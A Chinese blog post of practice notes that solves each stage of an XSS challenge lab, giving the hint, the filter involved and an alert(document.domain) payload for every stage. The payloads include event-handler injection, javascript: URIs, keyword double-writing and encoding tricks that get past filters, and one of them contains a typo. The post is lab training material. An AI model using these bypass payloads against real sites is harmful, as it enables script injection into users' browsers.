内容简介:url :
0x00:简介
xss
练习地址:
What you have to do: Inject the following JavaScript command: alert(document.domain);
0x01
url : stage-1
Hint : very simple...
无过滤页面回显,可以直接构造执行.
<script>alert(document.domain)</script>
0x02
url : stage-2
Hint : close the current tag and add SCRIPT tag...
逃逸双引号,构造xss语句.
" onclick=alert(document.domain) " "><script>alert(document.domain)</script>
0x03
url : stage-3
Hint : The input in text box is properly escaped.
p1传入的参数,符号都经过html编码.
抓包修改p2参数,发现无过滤,直接执行.
<script>alert(document.domain)</script>
0x04
url : stage-4
Hint : invisible input field
p1,p2传入的参数的符号都经过编码.
查看页面源代码发现一个隐藏的p3,而且无过滤,即可执行脚本.
" onclick=alert(document.domain) " "><script>alert(document.domain)</script>
0x05
url : stage-5
Hint : length limited text box
与之前的类似,但是对输入的字符长度做了限制,但只是在前端做了验证.
将前端的限制修改,即可执行脚本.
" onclick=alert(document.domain) " "><script>alert(document.domain)</script>
0x06
url : stage-6
Hint : event handler attributes
过滤了尖括号,就无法逃逸文本框,但是可以构造dom型xss.
" onclick=alert(document.domain) "
0x07
url : stage-7
Hint : nearly the same... but a bit more tricky.
对特定符号进行了过滤,但是没有对圆括号进行过滤.
value
的值没有用双引号包含,就可以随意输入让其为 value
,然后创造新的事件.
1 onclick=alert(document.domain)
0x08
url : stage-8
Hint : the 'javascript' scheme.
题目创造一个 <a href="{value}">
标签,且无过滤.
简单用 javascript:
协议创造一个事件.
javascript:alert(document.domain)
0x09
url : stage-9
Hint : UTF-7 XSS
使用了 UTF-7
编码,但只在特定的IE浏览器下才能触发,这里不多做深究.(因为 src
不收这种洞)
1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-
0x0A
url : stage-10
Hint : s/domain//g;
对符号无过滤,对 domain
进行过滤,但是只过滤了一遍,所以双写绕过.
" onclick=alert(document.domdomainain) "
0x0B
url : stage-11
Hint : "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"
对 script/on***/st***
标签进行了过滤.
双写绕过失败,但是想到另一种绕过姿势,通过编码或插入不可见字符进行绕过.
"><a href=javascr ipt:alert(document.domain)>test</a>
0x0C
url : stage-12
Hint : "s/[\x00-\x20\<\>\"\']//g;"
过滤了 \x00-\x20
的字符,以及 <>"'
.
由于此题也是在特定的IE浏览器才能触发,所以不多做介绍.
`onclick=alert(document.domain)
0x0D
url : stage-13
Hint : style attribute
此题同样是特定的IE浏览器才能触发.
background-color:#f00;background:url("javascript:alert(document.domain);");
0x0E
url : stage-14
Hint : s/(url|script|eval|expression)/xxx/ig;
又是IE浏览器,有兴趣可以上网搜索详细解读.
here:expre/**/ssion(window.x?0:(alert(document.domain),window.x=1));
0x0F
url : stage-15
Hint : document.write();
尖括号被过滤,可以通过编码绕过.(unicode或hex编码).
document.write
在输出的时候会 JavascriptDecode
一下数据,会把数据原有 \
去除,因此需要双写 \
.
\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e
0x10
url : stage-16
Hint : "document.write();" and "s/\x/\\x/ig;"
跟上一题类似,但是限制了hex编码,可以使用unicode编码绕过.
\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e
0x11
url : stage-17
Hint : multi-byte character
又是IE浏览器,这里直接贴他人writeup.
思路类似于宽字节注入,利用特殊字节吃掉双引号,于是抓包修改p1,p2
p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
0x12
url : stage-18
Hint : us-ascii high bit issue
IE浏览器,如上题.
将每个字符的二进制最高位置为1,然后再转为16进制
故 "><script>alert(document.domain)</scirpt>
就转换为
%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
但是前提还是用旧的IE版本IE5,6
0x13
url : stage-19
Hint : Twitter DomXss at Sep 24, 2010
8会,告辞.
以上所述就是小编给大家介绍的《xss练习笔记(二)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- xss练习笔记
- [flask笔记] jinja2模板练习
- 阅《汇编语言》记录的小结笔记及练习题(一)
- <node.js学习笔记(5)>koa框架和简单爬虫练习
- Coursera吴恩达机器学习笔记及代码练习(Matlab版)
- [Vue 2.x Todo 教程练习参考答案] 标为完成练习参考答案
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Programming in Haskell
Graham Hutton / Cambridge University Press / 2007-1-18 / GBP 34.99
Haskell is one of the leading languages for teaching functional programming, enabling students to write simpler and cleaner code, and to learn how to structure and reason about programs. This introduc......一起来看看 《Programming in Haskell》 这本书的介绍吧!